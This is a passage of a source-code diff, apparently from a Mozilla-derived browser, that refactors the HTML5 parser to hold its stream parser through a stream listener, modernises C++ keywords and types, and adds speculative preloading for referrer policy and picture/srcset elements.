@@ -709,31 +718,8 @@ nsHtml5Parser::InitializeDocWriteParserState(nsAHtml5TreeBuilderState* aState,
void
nsHtml5Parser::ContinueAfterFailedCharsetSwitch()
{
- NS_PRECONDITION(mStreamParser,
+ NS_PRECONDITION(GetStreamParser(),
"Tried to continue after failed charset switch without a stream parser");
- mStreamParser->ContinueAfterFailedCharsetSwitch();
-}
-
-bool
-nsHtml5Parser::IsSrcdocDocument()
-{
- nsresult rv;
-
- bool isSrcdoc = false;
- nsCOMPtr<nsIChannel> channel;
- rv = GetChannel(getter_AddRefs(channel));
- if (NS_SUCCEEDED(rv)) {
- nsCOMPtr<nsIInputStreamChannel> isr = do_QueryInterface(channel);
- if (isr) {
- isr->GetIsSrcdocChannel(&isSrcdoc);
- return isSrcdoc;
- }
- nsCOMPtr<nsIViewSourceChannel> vsc = do_QueryInterface(channel);
- if (vsc) {
- vsc->GetIsSrcdocChannel(&isSrcdoc);
- return isSrcdoc;
- }
- }
- return isSrcdoc;
+ GetStreamParser()->ContinueAfterFailedCharsetSwitch();
}
diff --git a/parser/html/nsHtml5Parser.h b/parser/html/nsHtml5Parser.h
index 31fe2194e..3ac25d27c 100644
--- a/parser/html/nsHtml5Parser.h
+++ b/parser/html/nsHtml5Parser.h
@@ -3,8 +3,8 @@
* License, v. 2.0. If a copy of the MPL was not distributed with this
* file, You can obtain one at http://mozilla.org/MPL/2.0/. */
-#ifndef NS_HTML5_PARSER__
-#define NS_HTML5_PARSER__
+#ifndef NS_HTML5_PARSER
+#define NS_HTML5_PARSER
#include "nsAutoPtr.h"
#include "nsIParser.h"
@@ -12,7 +12,6 @@
#include "nsIURL.h"
#include "nsParserCIID.h"
#include "nsITokenizer.h"
-#include "nsThreadUtils.h"
#include "nsIContentSink.h"
#include "nsIRequest.h"
#include "nsIChannel.h"
@@ -26,9 +25,10 @@
#include "nsHtml5StreamParser.h"
#include "nsHtml5AtomTable.h"
#include "nsWeakReference.h"
+#include "nsHtml5StreamListener.h"
-class nsHtml5Parser : public nsIParser,
- public nsSupportsWeakReference
+class nsHtml5Parser final : public nsIParser,
+ public nsSupportsWeakReference
{
public:
NS_DECL_AND_IMPL_ZEROING_OPERATOR_NEW
@@ -37,33 +37,32 @@ class nsHtml5Parser : public nsIParser,
NS_DECL_CYCLE_COLLECTION_CLASS_AMBIGUOUS(nsHtml5Parser, nsIParser)
nsHtml5Parser();
- virtual ~nsHtml5Parser();
/* Start nsIParser */
/**
* No-op for backwards compat.
*/
- NS_IMETHOD_(void) SetContentSink(nsIContentSink* aSink);
+ NS_IMETHOD_(void) SetContentSink(nsIContentSink* aSink) override;
/**
* Returns the tree op executor for backwards compat.
*/
- NS_IMETHOD_(nsIContentSink*) GetContentSink();
+ NS_IMETHOD_(nsIContentSink*) GetContentSink() override;
/**
* Always returns "view" for backwards compat.
*/
- NS_IMETHOD_(void) GetCommand(nsCString& aCommand);
+ NS_IMETHOD_(void) GetCommand(nsCString& aCommand) override;
/**
* No-op for backwards compat.
*/
- NS_IMETHOD_(void) SetCommand(const char* aCommand);
+ NS_IMETHOD_(void) SetCommand(const char* aCommand) override;
/**
* No-op for backwards compat.
*/
- NS_IMETHOD_(void) SetCommand(eParserCommands aParserCommand);
+ NS_IMETHOD_(void) SetCommand(eParserCommands aParserCommand) override;
/**
* Call this method once you've created a parser, and want to instruct it
@@ -72,12 +71,12 @@ class nsHtml5Parser : public nsIParser,
* @param aCharset the charset of a document
* @param aCharsetSource the source of the charset
*/
- NS_IMETHOD_(void) SetDocumentCharset(const nsACString& aCharset, int32_t aSource);
+ NS_IMETHOD_(void) SetDocumentCharset(const nsACString& aCharset, int32_t aSource) override;
/**
* Don't call. For interface compat only.
*/
- NS_IMETHOD_(void) GetDocumentCharset(nsACString& aCharset, int32_t& aSource)
+ NS_IMETHOD_(void) GetDocumentCharset(nsACString& aCharset, int32_t& aSource) override
{
NS_NOTREACHED("No one should call this.");
}
@@ -87,47 +86,47 @@ class nsHtml5Parser : public nsIParser,
* @param aChannel out param that will contain the result
* @return NS_OK if successful or NS_NOT_AVAILABLE if not
*/
- NS_IMETHOD GetChannel(nsIChannel** aChannel);
+ NS_IMETHOD GetChannel(nsIChannel** aChannel) override;
/**
* Return |this| for backwards compat.
*/
- NS_IMETHOD GetDTD(nsIDTD** aDTD);
+ NS_IMETHOD GetDTD(nsIDTD** aDTD) override;
/**
* Get the stream parser for this parser
*/
- virtual nsIStreamListener* GetStreamListener();
+ virtual nsIStreamListener* GetStreamListener() override;
/**
* Don't call. For interface compat only.
*/
- NS_IMETHOD ContinueInterruptedParsing();
+ NS_IMETHOD ContinueInterruptedParsing() override;
/**
* Blocks the parser.
*/
- NS_IMETHOD_(void) BlockParser();
+ NS_IMETHOD_(void) BlockParser() override;
/**
* Unblocks the parser.
*/
- NS_IMETHOD_(void) UnblockParser();
+ NS_IMETHOD_(void) UnblockParser() override;
/**
* Asynchronously continues parsing.
*/
- NS_IMETHOD_(void) ContinueInterruptedParsingAsync();
+ NS_IMETHOD_(void) ContinueInterruptedParsingAsync() override;
/**
* Query whether the parser is enabled (i.e. not blocked) or not.
*/
- NS_IMETHOD_(bool) IsParserEnabled();
+ NS_IMETHOD_(bool) IsParserEnabled() override;
/**
* Query whether the parser thinks it's done with parsing.
*/
- NS_IMETHOD_(bool) IsComplete();
+ NS_IMETHOD_(bool) IsComplete() override;
/**
* Set up request observer.
@@ -140,7 +139,7 @@ class nsHtml5Parser : public nsIParser,
NS_IMETHOD Parse(nsIURI* aURL,
nsIRequestObserver* aListener = nullptr,
void* aKey = 0,
- nsDTDMode aMode = eDTDMode_autodetect);
+ nsDTDMode aMode = eDTDMode_autodetect) override;
/**
* document.write and document.close
@@ -151,57 +150,52 @@ class nsHtml5Parser : public nsIParser,
* @param aLastCall true if .close() false if .write()
* @param aMode ignored (for interface compat only)
*/
- NS_IMETHOD Parse(const nsAString& aSourceBuffer,
- void* aKey,
- const nsACString& aContentType,
- bool aLastCall,
- nsDTDMode aMode = eDTDMode_autodetect);
+ nsresult Parse(const nsAString& aSourceBuffer,
+ void* aKey,
+ const nsACString& aContentType,
+ bool aLastCall,
+ nsDTDMode aMode = eDTDMode_autodetect);
/**
* Stops the parser prematurely
*/
- NS_IMETHOD Terminate();
+ NS_IMETHOD Terminate() override;
/**
* Don't call. For interface backwards compat only.
*/
NS_IMETHOD ParseFragment(const nsAString& aSourceBuffer,
- nsTArray<nsString>& aTagStack);
+ nsTArray<nsString>& aTagStack) override;
/**
* Don't call. For interface compat only.
*/
- NS_IMETHOD BuildModel();
+ NS_IMETHOD BuildModel() override;
/**
* Don't call. For interface compat only.
*/
- NS_IMETHODIMP CancelParsingEvents();
+ NS_IMETHODIMP CancelParsingEvents() override;
/**
* Don't call. For interface compat only.
*/
- virtual void Reset();
-
- /**
- * True in fragment mode and during synchronous document.write
- */
- virtual bool CanInterrupt();
+ virtual void Reset() override;
/**
* True if the insertion point (per HTML5) is defined.
*/
- virtual bool IsInsertionPointDefined();
+ virtual bool IsInsertionPointDefined() override;
/**
* Call immediately before starting to evaluate a parser-inserted script.
*/
- virtual void BeginEvaluatingParserInsertedScript();
+ virtual void BeginEvaluatingParserInsertedScript() override;
/**
* Call immediately after having evaluated a parser-inserted script.
*/
- virtual void EndEvaluatingParserInsertedScript();
+ virtual void EndEvaluatingParserInsertedScript() override;
/**
* Marks the HTML5 parser as not a script-created parser: Prepares the
@@ -210,12 +204,12 @@ class nsHtml5Parser : public nsIParser,
* @param aCommand the parser command (Yeah, this is bad API design. Let's
* make this better when retiring nsIParser)
*/
- virtual void MarkAsNotScriptCreated(const char* aCommand);
+ virtual void MarkAsNotScriptCreated(const char* aCommand) override;
/**
* True if this is a script-created HTML5 parser.
*/
- virtual bool IsScriptCreated();
+ virtual bool IsScriptCreated() override;
/* End nsIParser */
@@ -238,10 +232,12 @@ class nsHtml5Parser : public nsIParser,
void InitializeDocWriteParserState(nsAHtml5TreeBuilderState* aState, int32_t aLine);
- void DropStreamParser() {
- if (mStreamParser) {
- mStreamParser->DropTimer();
- mStreamParser = nullptr;
+ void DropStreamParser()
+ {
+ if (GetStreamParser()) {
+ GetStreamParser()->DropTimer();
+ mStreamListener->DropDelegate();
+ mStreamListener = nullptr;
}
}
@@ -249,8 +245,12 @@ class nsHtml5Parser : public nsIParser,
void ContinueAfterFailedCharsetSwitch();
- nsHtml5StreamParser* GetStreamParser() {
- return mStreamParser;
+ nsHtml5StreamParser* GetStreamParser()
+ {
+ if (!mStreamListener) {
+ return nullptr;
+ }
+ return mStreamListener->GetDelegate();
}
/**
@@ -258,10 +258,10 @@ class nsHtml5Parser : public nsIParser,
*/
nsresult ParseUntilBlocked();
- bool IsSrcdocDocument();
-
private:
+ virtual ~nsHtml5Parser();
+
// State variables
/**
@@ -335,9 +335,9 @@ class nsHtml5Parser : public nsIParser,
nsAutoPtr<nsHtml5Tokenizer> mDocWriteSpeculativeTokenizer;
/**
- * The stream parser.
+ * The stream listener holding the stream parser.
*/
- nsRefPtr<nsHtml5StreamParser> mStreamParser;
+ nsRefPtr<nsHtml5StreamListener> mStreamListener;
/**
*
diff --git a/parser/html/nsHtml5PlainTextUtils.cpp b/parser/html/nsHtml5PlainTextUtils.cpp
index da883add9..acb8ba47d 100644
--- a/parser/html/nsHtml5PlainTextUtils.cpp
+++ b/parser/html/nsHtml5PlainTextUtils.cpp
@@ -31,7 +31,7 @@ nsHtml5PlainTextUtils::NewLinkAttributes()
NS_ASSERTION(NS_SUCCEEDED(rv) && bundle, "chrome://global/locale/browser.properties could not be loaded");
nsXPIDLString title;
if (bundle) {
- bundle->GetStringFromName(NS_LITERAL_STRING("plainText.wordWrap").get(), getter_Copies(title));
+ bundle->GetStringFromName(MOZ_UTF16("plainText.wordWrap"), getter_Copies(title));
}
nsString* titleCopy = new nsString(title);
diff --git a/parser/html/nsHtml5PlainTextUtils.h b/parser/html/nsHtml5PlainTextUtils.h
index 214c5b168..997702cff 100644
--- a/parser/html/nsHtml5PlainTextUtils.h
+++ b/parser/html/nsHtml5PlainTextUtils.h
@@ -2,8 +2,8 @@
* License, v. 2.0. If a copy of the MPL was not distributed with this
* file, You can obtain one at http://mozilla.org/MPL/2.0/. */
-#ifndef nsHtml5PlainTextUtils_h_
-#define nsHtml5PlainTextUtils_h_
+#ifndef nsHtml5PlainTextUtils_h
+#define nsHtml5PlainTextUtils_h
#include "nsHtml5HtmlAttributes.h"
@@ -13,4 +13,4 @@ class nsHtml5PlainTextUtils
static nsHtml5HtmlAttributes* NewLinkAttributes();
};
-#endif // nsHtml5PlainTextUtils_h_
+#endif // nsHtml5PlainTextUtils_h
diff --git a/parser/html/nsHtml5Portability.cpp b/parser/html/nsHtml5Portability.cpp
index 1f12cfd96..9aae4152c 100644
--- a/parser/html/nsHtml5Portability.cpp
+++ b/parser/html/nsHtml5Portability.cpp
@@ -2,14 +2,13 @@
* License, v. 2.0. If a copy of the MPL was not distributed with this
* file, You can obtain one at http://mozilla.org/MPL/2.0/. */
-#include "prtypes.h"
#include "nsIAtom.h"
#include "nsString.h"
#include "jArray.h"
#include "nsHtml5Portability.h"
nsIAtom*
-nsHtml5Portability::newLocalNameFromBuffer(PRUnichar* buf, int32_t offset, int32_t length, nsHtml5AtomTable* interner)
+nsHtml5Portability::newLocalNameFromBuffer(char16_t* buf, int32_t offset, int32_t length, nsHtml5AtomTable* interner)
{
NS_ASSERTION(!offset, "The offset should always be zero here.");
NS_ASSERTION(interner, "Didn't get an atom service.");
@@ -17,7 +16,7 @@ nsHtml5Portability::newLocalNameFromBuffer(PRUnichar* buf, int32_t offset, int32
}
nsString*
-nsHtml5Portability::newStringFromBuffer(PRUnichar* buf, int32_t offset, int32_t length)
+nsHtml5Portability::newStringFromBuffer(char16_t* buf, int32_t offset, int32_t length)
{
return new nsString(buf + offset, length);
}
@@ -43,23 +42,23 @@ nsHtml5Portability::newStringFromString(nsString* string) {
return newStr;
}
-jArray<PRUnichar,int32_t>
+jArray<char16_t,int32_t>
nsHtml5Portability::newCharArrayFromLocal(nsIAtom* local)
{
nsAutoString temp;
local->ToString(temp);
int32_t len = temp.Length();
- jArray<PRUnichar,int32_t> arr = jArray<PRUnichar,int32_t>::newJArray(len);
- memcpy(arr, temp.BeginReading(), len * sizeof(PRUnichar));
+ jArray<char16_t,int32_t> arr = jArray<char16_t,int32_t>::newJArray(len);
+ memcpy(arr, temp.BeginReading(), len * sizeof(char16_t));
return arr;
}
-jArray<PRUnichar,int32_t>
+jArray<char16_t,int32_t>
nsHtml5Portability::newCharArrayFromString(nsString* string)
{
int32_t len = string->Length();
- jArray<PRUnichar,int32_t> arr = jArray<PRUnichar,int32_t>::newJArray(len);
- memcpy(arr, string->BeginReading(), len * sizeof(PRUnichar));
+ jArray<char16_t,int32_t> arr = jArray<char16_t,int32_t>::newJArray(len);
+ memcpy(arr, string->BeginReading(), len * sizeof(char16_t));
return arr;
}
@@ -83,7 +82,7 @@ nsHtml5Portability::releaseString(nsString* str)
}
bool
-nsHtml5Portability::localEqualsBuffer(nsIAtom* local, PRUnichar* buf, int32_t offset, int32_t length)
+nsHtml5Portability::localEqualsBuffer(nsIAtom* local, char16_t* buf, int32_t offset, int32_t length)
{
return local->Equals(nsDependentSubstring(buf + offset, buf + offset + length));
}
@@ -95,15 +94,15 @@ nsHtml5Portability::lowerCaseLiteralIsPrefixOfIgnoreAsciiCaseString(const char*
return false;
}
const char* litPtr = lowerCaseLiteral;
- const PRUnichar* strPtr = string->BeginReading();
- const PRUnichar* end = string->EndReading();
- PRUnichar litChar;
+ const char16_t* strPtr = string->BeginReading();
+ const char16_t* end = string->EndReading();
+ char16_t litChar;
while ((litChar = *litPtr)) {
NS_ASSERTION(!(litChar >= 'A' && litChar <= 'Z'), "Literal isn't in lower case.");
if (strPtr == end) {
return false;
}
- PRUnichar strChar = *strPtr;
+ char16_t strChar = *strPtr;
if (strChar >= 'A' && strChar <= 'Z') {
strChar += 0x20;
}
diff --git a/parser/html/nsHtml5Portability.h b/parser/html/nsHtml5Portability.h
index 165d627e9..002a4adc4 100644
--- a/parser/html/nsHtml5Portability.h
+++ b/parser/html/nsHtml5Portability.h
@@ -25,13 +25,13 @@
* Please edit Portability.java instead and regenerate.
*/
-#ifndef nsHtml5Portability_h__
-#define nsHtml5Portability_h__
+#ifndef nsHtml5Portability_h
+#define nsHtml5Portability_h
#include "nsIAtom.h"
#include "nsHtml5AtomTable.h"
#include "nsString.h"
-#include "nsINameSpaceManager.h"
+#include "nsNameSpaceManager.h"
#include "nsIContent.h"
#include "nsTraceRefcnt.h"
#include "jArray.h"
@@ -41,6 +41,7 @@
#include "nsHtml5ByteReadable.h"
#include "nsIUnicodeDecoder.h"
#include "nsHtml5Macros.h"
+#include "nsIContentHandle.h"
class nsHtml5StreamParser;
@@ -57,16 +58,16 @@ class nsHtml5StateSnapshot;
class nsHtml5Portability
{
public:
- static nsIAtom* newLocalNameFromBuffer(PRUnichar* buf, int32_t offset, int32_t length, nsHtml5AtomTable* interner);
- static nsString* newStringFromBuffer(PRUnichar* buf, int32_t offset, int32_t length);
+ static nsIAtom* newLocalNameFromBuffer(char16_t* buf, int32_t offset, int32_t length, nsHtml5AtomTable* interner);
+ static nsString* newStringFromBuffer(char16_t* buf, int32_t offset, int32_t length);
static nsString* newEmptyString();
static nsString* newStringFromLiteral(const char* literal);
static nsString* newStringFromString(nsString* string);
- static jArray<PRUnichar,int32_t> newCharArrayFromLocal(nsIAtom* local);
- static jArray<PRUnichar,int32_t> newCharArrayFromString(nsString* string);
+ static jArray<char16_t,int32_t> newCharArrayFromLocal(nsIAtom* local);
+ static jArray<char16_t,int32_t> newCharArrayFromString(nsString* string);
static nsIAtom* newLocalFromLocal(nsIAtom* local, nsHtml5AtomTable* interner);
static void releaseString(nsString* str);
- static bool localEqualsBuffer(nsIAtom* local, PRUnichar* buf, int32_t offset, int32_t length);
+ static bool localEqualsBuffer(nsIAtom* local, char16_t* buf, int32_t offset, int32_t length);
static bool lowerCaseLiteralIsPrefixOfIgnoreAsciiCaseString(const char* lowerCaseLiteral, nsString* string);
static bool lowerCaseLiteralEqualsIgnoreAsciiCaseString(const char* lowerCaseLiteral, nsString* string);
static bool literalEqualsString(const char* literal, nsString* string);
diff --git a/parser/html/nsHtml5RefPtr.h b/parser/html/nsHtml5RefPtr.h
index f12ea9504..17fffae9c 100644
--- a/parser/html/nsHtml5RefPtr.h
+++ b/parser/html/nsHtml5RefPtr.h
@@ -3,10 +3,10 @@
* License, v. 2.0. If a copy of the MPL was not distributed with this
* file, You can obtain one at http://mozilla.org/MPL/2.0/. */
-#ifndef nsHtml5RefPtr_h___
-#define nsHtml5RefPtr_h___
+#ifndef nsHtml5RefPtr_h
+#define nsHtml5RefPtr_h
-#include "nsIThread.h"
+#include "nsThreadUtils.h"
template <class T>
class nsHtml5RefPtrReleaser : public nsRunnable
@@ -14,7 +14,7 @@ class nsHtml5RefPtrReleaser : public nsRunnable
private:
T* mPtr;
public:
- nsHtml5RefPtrReleaser(T* aPtr)
+ explicit nsHtml5RefPtrReleaser(T* aPtr)
: mPtr(aPtr)
{}
NS_IMETHODIMP Run()
@@ -97,7 +97,7 @@ class nsHtml5RefPtr
mRawPtr->AddRef();
}
- nsHtml5RefPtr( T* aRawPtr )
+ explicit nsHtml5RefPtr( T* aRawPtr )
: mRawPtr(aRawPtr)
// construct from a raw pointer (of the right type)
{
@@ -105,7 +105,7 @@ class nsHtml5RefPtr
mRawPtr->AddRef();
}
- nsHtml5RefPtr( const already_AddRefed<T>& aSmartPtr )
+ explicit nsHtml5RefPtr( const already_AddRefed<T>& aSmartPtr )
: mRawPtr(aSmartPtr.mRawPtr)
// construct from |dont_AddRef(expr)|
{
@@ -204,7 +204,7 @@ class nsHtml5RefPtr
}
T*
- operator->() const
+ operator->() const MOZ_NO_ADDREF_RELEASE_ON_RETURN
{
NS_PRECONDITION(mRawPtr != 0, "You can't dereference a NULL nsHtml5RefPtr with operator->().");
return get();
@@ -378,14 +378,6 @@ operator!=( const U* lhs, const nsHtml5RefPtr<T>& rhs )
return static_cast<const U*>(lhs) != static_cast<const T*>(rhs.get());
}
- // To avoid ambiguities caused by the presence of builtin |operator==|s
- // creating a situation where one of the |operator==| defined above
- // has a better conversion for one argument and the builtin has a
- // better conversion for the other argument, define additional
- // |operator==| without the |const| on the raw pointer.
- // See bug 65664 for details.
-
-#ifndef NSCAP_DONT_PROVIDE_NONCONST_OPEQ
template <class T, class U>
inline
bool
@@ -417,7 +409,6 @@ operator!=( U* lhs, const nsHtml5RefPtr<T>& rhs )
{
return const_cast<const U*>(lhs) != static_cast<const T*>(rhs.get());
}
-#endif
@@ -459,30 +450,4 @@ operator!=( NSCAP_Zero* lhs, const nsHtml5RefPtr<T>& rhs )
return reinterpret_cast<const void*>(lhs) != static_cast<const void*>(rhs.get());
}
-
-#ifdef HAVE_CPP_TROUBLE_COMPARING_TO_ZERO
-
- // We need to explicitly define comparison operators for `int'
- // because the compiler is lame.
-
-template <class T>
-inline
-bool
-operator==( const nsHtml5RefPtr<T>& lhs, int rhs )
- // specifically to allow |smartPtr == 0|
- {
- return static_cast<const void*>(lhs.get()) == reinterpret_cast<const void*>(rhs);
- }
-
-template <class T>
-inline
-bool
-operator==( int lhs, const nsHtml5RefPtr<T>& rhs )
- // specifically to allow |0 == smartPtr|
- {
- return reinterpret_cast<const void*>(lhs) == static_cast<const void*>(rhs.get());
- }
-
-#endif // !defined(HAVE_CPP_TROUBLE_COMPARING_TO_ZERO)
-
-#endif // !defined(nsHtml5RefPtr_h___)
+#endif // !defined(nsHtml5RefPtr_h)
diff --git a/parser/html/nsHtml5ReleasableAttributeName.h b/parser/html/nsHtml5ReleasableAttributeName.h
index 06e9b986e..e9766173b 100644
--- a/parser/html/nsHtml5ReleasableAttributeName.h
+++ b/parser/html/nsHtml5ReleasableAttributeName.h
@@ -2,15 +2,15 @@
* License, v. 2.0. If a copy of the MPL was not distributed with this
* file, You can obtain one at http://mozilla.org/MPL/2.0/. */
-#ifndef nsHtml5ReleasableAttributeName_h__
-#define nsHtml5ReleasableAttributeName_h__
+#ifndef nsHtml5ReleasableAttributeName_h
+#define nsHtml5ReleasableAttributeName_h
#include "nsHtml5AttributeName.h"
#include "mozilla/Attributes.h"
class nsHtml5AtomTable;
-class nsHtml5ReleasableAttributeName MOZ_FINAL : public nsHtml5AttributeName
+class nsHtml5ReleasableAttributeName final : public nsHtml5AttributeName
{
public:
nsHtml5ReleasableAttributeName(int32_t* uri, nsIAtom** local, nsIAtom** prefix);
@@ -18,4 +18,4 @@ class nsHtml5ReleasableAttributeName MOZ_FINAL : public nsHtml5AttributeName
virtual void release();
};
-#endif // nsHtml5ReleasableAttributeName_h__
+#endif // nsHtml5ReleasableAttributeName_h
diff --git a/parser/html/nsHtml5ReleasableElementName.h b/parser/html/nsHtml5ReleasableElementName.h
index c893410cf..f76792a48 100644
--- a/parser/html/nsHtml5ReleasableElementName.h
+++ b/parser/html/nsHtml5ReleasableElementName.h
@@ -2,18 +2,18 @@
* License, v. 2.0. If a copy of the MPL was not distributed with this
* file, You can obtain one at http://mozilla.org/MPL/2.0/. */
-#ifndef nsHtml5ReleasableElementName_h__
-#define nsHtml5ReleasableElementName_h__
+#ifndef nsHtml5ReleasableElementName_h
+#define nsHtml5ReleasableElementName_h
#include "nsHtml5ElementName.h"
#include "mozilla/Attributes.h"
-class nsHtml5ReleasableElementName MOZ_FINAL : public nsHtml5ElementName
+class nsHtml5ReleasableElementName final : public nsHtml5ElementName
{
public:
- nsHtml5ReleasableElementName(nsIAtom* name);
+ explicit nsHtml5ReleasableElementName(nsIAtom* name);
virtual void release();
virtual nsHtml5ElementName* cloneElementName(nsHtml5AtomTable* interner);
};
-#endif // nsHtml5ReleasableElementName_h__
+#endif // nsHtml5ReleasableElementName_h
diff --git a/parser/html/nsHtml5SVGLoadDispatcher.cpp b/parser/html/nsHtml5SVGLoadDispatcher.cpp
index 8a87e0247..97ef64df5 100644
--- a/parser/html/nsHtml5SVGLoadDispatcher.cpp
+++ b/parser/html/nsHtml5SVGLoadDispatcher.cpp
@@ -4,9 +4,12 @@
#include "nsHtml5SVGLoadDispatcher.h"
#include "nsPresContext.h"
-#include "nsEventDispatcher.h"
#include "nsIPresShell.h"
-#include "nsGUIEvent.h"
+#include "mozilla/BasicEvents.h"
+#include "mozilla/EventDispatcher.h"
+#include "nsIDocument.h"
+
+using namespace mozilla;
nsHtml5SVGLoadDispatcher::nsHtml5SVGLoadDispatcher(nsIContent* aElement)
: mElement(aElement)
@@ -18,7 +21,7 @@ nsHtml5SVGLoadDispatcher::nsHtml5SVGLoadDispatcher(nsIContent* aElement)
NS_IMETHODIMP
nsHtml5SVGLoadDispatcher::Run()
{
- nsEvent event(true, NS_SVG_LOAD);
+ WidgetEvent event(true, NS_SVG_LOAD);
event.mFlags.mBubbles = false;
// Do we care about forcing presshell creation if it hasn't happened yet?
// That is, should this code flush or something? Does it really matter?
@@ -29,7 +32,7 @@ nsHtml5SVGLoadDispatcher::Run()
if (shell) {
ctx = shell->GetPresContext();
}
- nsEventDispatcher::Dispatch(mElement, ctx, &event);
+ EventDispatcher::Dispatch(mElement, ctx, &event);
// Unblocking onload on the same document that it was blocked even if
// the element has moved between docs since blocking.
mDocument->UnblockOnload(false);
diff --git a/parser/html/nsHtml5SVGLoadDispatcher.h b/parser/html/nsHtml5SVGLoadDispatcher.h
index ebf278592..475ae7645 100644
--- a/parser/html/nsHtml5SVGLoadDispatcher.h
+++ b/parser/html/nsHtml5SVGLoadDispatcher.h
@@ -2,8 +2,8 @@
* License, v. 2.0. If a copy of the MPL was not distributed with this
* file, You can obtain one at http://mozilla.org/MPL/2.0/. */
-#ifndef nsHtml5SVGLoadDispatcher_h_
-#define nsHtml5SVGLoadDispatcher_h_
+#ifndef nsHtml5SVGLoadDispatcher_h
+#define nsHtml5SVGLoadDispatcher_h
#include "nsThreadUtils.h"
#include "nsIContent.h"
@@ -14,8 +14,8 @@ class nsHtml5SVGLoadDispatcher : public nsRunnable
nsCOMPtr<nsIContent> mElement;
nsCOMPtr<nsIDocument> mDocument;
public:
- nsHtml5SVGLoadDispatcher(nsIContent* aElement);
+ explicit nsHtml5SVGLoadDispatcher(nsIContent* aElement);
NS_IMETHOD Run();
};
-#endif // nsHtml5SVGLoadDispatcher_h_
+#endif // nsHtml5SVGLoadDispatcher_h
diff --git a/parser/html/nsHtml5Speculation.h b/parser/html/nsHtml5Speculation.h
index 43cf51cc9..76e2fe0ff 100644
--- a/parser/html/nsHtml5Speculation.h
+++ b/parser/html/nsHtml5Speculation.h
@@ -2,8 +2,8 @@
* License, v. 2.0. If a copy of the MPL was not distributed with this
* file, You can obtain one at http://mozilla.org/MPL/2.0/. */
-#ifndef nsHtml5Speculation_h__
-#define nsHtml5Speculation_h__
+#ifndef nsHtml5Speculation_h
+#define nsHtml5Speculation_h
#include "nsHtml5OwningUTF16Buffer.h"
#include "nsAHtml5TreeBuilderState.h"
@@ -13,7 +13,7 @@
#include "nsAutoPtr.h"
#include "mozilla/Attributes.h"
-class nsHtml5Speculation MOZ_FINAL : public nsAHtml5TreeOpSink
+class nsHtml5Speculation final : public nsAHtml5TreeOpSink
{
public:
nsHtml5Speculation(nsHtml5OwningUTF16Buffer* aBuffer,
@@ -23,19 +23,23 @@ class nsHtml5Speculation MOZ_FINAL : public nsAHtml5TreeOpSink
~nsHtml5Speculation();
- nsHtml5OwningUTF16Buffer* GetBuffer() {
+ nsHtml5OwningUTF16Buffer* GetBuffer()
+ {
return mBuffer;
}
- int32_t GetStart() {
+ int32_t GetStart()
+ {
return mStart;
}
- int32_t GetStartLineNumber() {
+ int32_t GetStartLineNumber()
+ {
return mStartLineNumber;
}
- nsAHtml5TreeBuilderState* GetSnapshot() {
+ nsAHtml5TreeBuilderState* GetSnapshot()
+ {
return mSnapshot;
}
@@ -68,4 +72,4 @@ class nsHtml5Speculation MOZ_FINAL : public nsAHtml5TreeOpSink
nsTArray<nsHtml5TreeOperation> mOpQueue;
};
-#endif // nsHtml5Speculation_h__
+#endif // nsHtml5Speculation_h
diff --git a/parser/html/nsHtml5SpeculativeLoad.cpp b/parser/html/nsHtml5SpeculativeLoad.cpp
index 7ac26963b..f3d562f8b 100644
--- a/parser/html/nsHtml5SpeculativeLoad.cpp
+++ b/parser/html/nsHtml5SpeculativeLoad.cpp
@@ -27,8 +27,21 @@ nsHtml5SpeculativeLoad::Perform(nsHtml5TreeOpExecutor* aExecutor)
case eSpeculativeLoadBase:
aExecutor->SetSpeculationBase(mUrl);
break;
+ case eSpeculativeLoadMetaReferrer:
+ aExecutor->SetSpeculationReferrerPolicy(mMetaReferrerPolicy);
+ break;
case eSpeculativeLoadImage:
- aExecutor->PreloadImage(mUrl, mCrossOrigin);
+ aExecutor->PreloadImage(mUrl, mCrossOrigin, mSrcset, mSizes);
+ break;
+ case eSpeculativeLoadOpenPicture:
+ aExecutor->PreloadOpenPicture();
+ break;
+ case eSpeculativeLoadEndPicture:
+ aExecutor->PreloadEndPicture();
+ break;
+ case eSpeculativeLoadPictureSource:
+ aExecutor->PreloadPictureSource(mSrcset, mSizes, mTypeOrCharsetSource,
+ mMedia);
break;
case eSpeculativeLoadScript:
aExecutor->PreloadScript(mUrl, mCharset, mTypeOrCharsetSource,
diff --git a/parser/html/nsHtml5SpeculativeLoad.h b/parser/html/nsHtml5SpeculativeLoad.h
index 5fc3b3944..e279e76c6 100644
--- a/parser/html/nsHtml5SpeculativeLoad.h
+++ b/parser/html/nsHtml5SpeculativeLoad.h
@@ -2,10 +2,11 @@
* License, v. 2.0. If a copy of the MPL was not distributed with this
* file, You can obtain one at http://mozilla.org/MPL/2.0/. */
-#ifndef nsHtml5SpeculativeLoad_h_
-#define nsHtml5SpeculativeLoad_h_
+#ifndef nsHtml5SpeculativeLoad_h
+#define nsHtml5SpeculativeLoad_h
#include "nsString.h"
+#include "nsContentUtils.h"
class nsHtml5TreeOpExecutor;
@@ -14,7 +15,11 @@ enum eHtml5SpeculativeLoad {
eSpeculativeLoadUninitialized,
#endif
eSpeculativeLoadBase,
+ eSpeculativeLoadMetaReferrer,
eSpeculativeLoadImage,
+ eSpeculativeLoadOpenPicture,
+ eSpeculativeLoadEndPicture,
+ eSpeculativeLoadPictureSource,
eSpeculativeLoadScript,
eSpeculativeLoadScriptFromHead,
eSpeculativeLoadStyle,
@@ -26,28 +31,78 @@ class nsHtml5SpeculativeLoad {
public:
nsHtml5SpeculativeLoad();
~nsHtml5SpeculativeLoad();
-
- inline void InitBase(const nsAString& aUrl) {
+
+ inline void InitBase(const nsAString& aUrl)
+ {
NS_PRECONDITION(mOpCode == eSpeculativeLoadUninitialized,
"Trying to reinitialize a speculative load!");
mOpCode = eSpeculativeLoadBase;
mUrl.Assign(aUrl);
}
+ inline void InitMetaReferrerPolicy(const nsAString& aReferrerPolicy) {
+ NS_PRECONDITION(mOpCode == eSpeculativeLoadUninitialized,
+ "Trying to reinitialize a speculative load!");
+ mOpCode = eSpeculativeLoadMetaReferrer;
+ mMetaReferrerPolicy.Assign(
+ nsContentUtils::TrimWhitespace<nsContentUtils::IsHTMLWhitespace>(aReferrerPolicy));
+ }
+
inline void InitImage(const nsAString& aUrl,
- const nsAString& aCrossOrigin) {
+ const nsAString& aCrossOrigin,
+ const nsAString& aSrcset,
+ const nsAString& aSizes)
+ {
NS_PRECONDITION(mOpCode == eSpeculativeLoadUninitialized,
"Trying to reinitialize a speculative load!");
mOpCode = eSpeculativeLoadImage;
mUrl.Assign(aUrl);
mCrossOrigin.Assign(aCrossOrigin);
+ mSrcset.Assign(aSrcset);
+ mSizes.Assign(aSizes);
